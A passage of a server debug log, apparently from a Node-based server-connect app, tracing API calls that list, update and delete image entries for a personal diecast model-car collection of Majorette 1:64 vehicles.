      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:41:36.262Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:41:36.262Z server-connect:app Executing action step identify
2026-02-04T10:41:36.262Z server-connect:app options: { provider: 'security' }
2026-02-04T10:41:36.262Z server-connect:output identity: 1
2026-02-04T10:41:36.262Z server-connect:app Executing action step restrict
2026-02-04T10:41:36.262Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:41:36.263Z server-connect:output restrict: undefined
2026-02-04T10:41:36.263Z server-connect:app Executing action step condition
2026-02-04T10:41:36.263Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:41:36.264Z server-connect:app Executing action step update
2026-02-04T10:41:36.264Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:41:36.265Z server-connect:output update: { affected: 1 }
2026-02-04T10:41:36.265Z server-connect:app Executing action step upload
2026-02-04T10:41:36.265Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:41:36.265Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T10:41:36.265Z server-connect:upload Process fields: 'images[]'
2026-02-04T10:41:36.265Z server-connect:upload Processing file: {
  name: 's-l1600 (8).webp',
  data: <Buffer >,
  size: 89468,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-45-20378841770201696261',
  truncated: false,
  mimetype: 'image/webp',
  md5: '9c11c67c10abdb3caa8227f00ad74452',
  mv: [Function: mv]
}
2026-02-04T10:41:36.265Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_8_c27f7565-c306-4e75-87aa-ca3a49856cf8.webp',
  rel: 'public/assets/images/diecast/s-l1600_8_c27f7565-c306-4e75-87aa-ca3a49856cf8.webp'
}
2026-02-04T10:41:36.265Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_8_c27f7565-c306-4e75-87aa-ca3a49856cf8.webp',
  rel: 'assets/images/diecast/s-l1600_8_c27f7565-c306-4e75-87aa-ca3a49856cf8.webp'
}
2026-02-04T10:41:36.265Z server-connect:output upload_image: [
  {
    name: 's-l1600_8_c27f7565-c306-4e75-87aa-ca3a49856cf8.webp',
    path: '/public/assets/images/diecast/s-l1600_8_c27f7565-c306-4e75-87aa-ca3a49856cf8.webp',
    url: '/assets/images/diecast/s-l1600_8_c27f7565-c306-4e75-87aa-ca3a49856cf8.webp',
    type: 'image/webp',
    size: 89468
  }
]
2026-02-04T10:41:36.265Z server-connect:app Executing action step repeat
2026-02-04T10:41:36.265Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:41:36.265Z server-connect:app Executing action step insert
2026-02-04T10:41:36.265Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:41:36.266Z server-connect:output images: { affected: 1, identity: 196 }
2026-02-04T10:41:36.266Z server-connect:output repeat_images: [ {} ]
2026-02-04T10:41:36.266Z server-connect:output condition: undefined
2026-02-04T10:41:36.503Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:41:36.504Z server-connect:app Executing action step identify
2026-02-04T10:41:36.504Z server-connect:app options: { provider: 'security' }
2026-02-04T10:41:36.504Z server-connect:output identity: 1
2026-02-04T10:41:36.504Z server-connect:app Executing action step restrict
2026-02-04T10:41:36.504Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:41:36.504Z server-connect:output restrict: undefined
2026-02-04T10:41:36.504Z server-connect:app Executing action step paged
2026-02-04T10:41:36.504Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:41:36.507Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:41:42.099Z server-connect:router Serving serverConnect /api/diecast/delete-image
2026-02-04T10:41:42.099Z server-connect:app Executing action step identify
2026-02-04T10:41:42.099Z server-connect:app options: { provider: 'security' }
2026-02-04T10:41:42.099Z server-connect:output identity: 1
2026-02-04T10:41:42.099Z server-connect:app Executing action step restrict
2026-02-04T10:41:42.099Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:41:42.100Z server-connect:output restrict: undefined
2026-02-04T10:41:42.100Z server-connect:app Executing action step single
2026-02-04T10:41:42.100Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [ [Object] ],
    table: { name: 'diecast_images' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `image_url` from `diecast_images` where `diecast_images`.`id` = ?'
  }
}
2026-02-04T10:41:42.101Z server-connect:output diecast_image: {
  image_url: '/public/assets/images/diecast/20260201_003113_4a409419-10d6-4324-ba9d-1f64c415c06d.jpg'
}
2026-02-04T10:41:42.101Z server-connect:app Executing action step delete
2026-02-04T10:41:42.101Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'diecast_images',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `diecast_images` where `id` = ? and `diecast_id` = ?',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:41:42.102Z server-connect:output delete: { affected: 1 }
2026-02-04T10:41:42.102Z server-connect:app Executing action step remove
2026-02-04T10:41:42.102Z server-connect:app options: { path: '{{diecast_image.image_url}}' }
2026-02-04T10:41:42.102Z server-connect:output fileRemove: true
2026-02-04T10:41:42.362Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:41:42.363Z server-connect:app Executing action step identify
2026-02-04T10:41:42.363Z server-connect:app options: { provider: 'security' }
2026-02-04T10:41:42.363Z server-connect:output identity: 1
2026-02-04T10:41:42.363Z server-connect:app Executing action step restrict
2026-02-04T10:41:42.363Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:41:42.363Z server-connect:output restrict: undefined
2026-02-04T10:41:42.363Z server-connect:app Executing action step paged
2026-02-04T10:41:42.363Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:41:42.365Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:41:44.674Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:41:44.674Z server-connect:app Executing action step identify
2026-02-04T10:41:44.674Z server-connect:app options: { provider: 'security' }
2026-02-04T10:41:44.674Z server-connect:output identity: 1
2026-02-04T10:41:44.674Z server-connect:app Executing action step restrict
2026-02-04T10:41:44.675Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:41:44.675Z server-connect:output restrict: undefined
2026-02-04T10:41:44.675Z server-connect:app Executing action step condition
2026-02-04T10:41:44.675Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:41:44.675Z server-connect:app Executing action step update
2026-02-04T10:41:44.675Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:41:44.676Z server-connect:output update: { affected: 1 }
2026-02-04T10:41:44.676Z server-connect:app Executing action step upload
2026-02-04T10:41:44.676Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:41:44.676Z server-connect:output upload_image: []
2026-02-04T10:41:44.676Z server-connect:app Executing action step repeat
2026-02-04T10:41:44.676Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:41:44.676Z server-connect:output repeat_images: []
2026-02-04T10:41:44.676Z server-connect:output condition: undefined
2026-02-04T10:41:44.957Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:41:44.957Z server-connect:app Executing action step identify
2026-02-04T10:41:44.957Z server-connect:app options: { provider: 'security' }
2026-02-04T10:41:44.958Z server-connect:output identity: 1
2026-02-04T10:41:44.958Z server-connect:app Executing action step restrict
2026-02-04T10:41:44.958Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:41:44.958Z server-connect:output restrict: undefined
2026-02-04T10:41:44.958Z server-connect:app Executing action step paged
2026-02-04T10:41:44.958Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:41:44.960Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:43:26.122Z server-connect:router Serving serverConnect /api/diecast/delete-image
2026-02-04T10:43:26.123Z server-connect:app Executing action step identify
2026-02-04T10:43:26.123Z server-connect:app options: { provider: 'security' }
2026-02-04T10:43:26.123Z server-connect:output identity: 1
2026-02-04T10:43:26.123Z server-connect:app Executing action step restrict
2026-02-04T10:43:26.123Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:43:26.124Z server-connect:output restrict: undefined
2026-02-04T10:43:26.124Z server-connect:app Executing action step single
2026-02-04T10:43:26.124Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [ [Object] ],
    table: { name: 'diecast_images' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `image_url` from `diecast_images` where `diecast_images`.`id` = ?'
  }
}
2026-02-04T10:43:26.125Z server-connect:output diecast_image: {
  image_url: '/public/assets/images/diecast/20260201_002516_a75b07af-53b8-4b13-92b8-5a8a8c15d4a3.jpg'
}
2026-02-04T10:43:26.125Z server-connect:app Executing action step delete
2026-02-04T10:43:26.125Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'diecast_images',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `diecast_images` where `id` = ? and `diecast_id` = ?',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:43:26.125Z server-connect:output delete: { affected: 1 }
2026-02-04T10:43:26.125Z server-connect:app Executing action step remove
2026-02-04T10:43:26.125Z server-connect:app options: { path: '{{diecast_image.image_url}}' }
2026-02-04T10:43:26.126Z server-connect:output fileRemove: true
2026-02-04T10:43:26.348Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:43:26.348Z server-connect:app Executing action step identify
2026-02-04T10:43:26.348Z server-connect:app options: { provider: 'security' }
2026-02-04T10:43:26.348Z server-connect:output identity: 1
2026-02-04T10:43:26.349Z server-connect:app Executing action step restrict
2026-02-04T10:43:26.349Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:43:26.349Z server-connect:output restrict: undefined
2026-02-04T10:43:26.349Z server-connect:app Executing action step paged
2026-02-04T10:43:26.349Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:43:26.352Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:43:26.567Z server-connect:router Serving templateView /
2026-02-04T10:43:26.568Z server-connect:app Executing action step identify
2026-02-04T10:43:26.568Z server-connect:app options: { provider: 'security' }
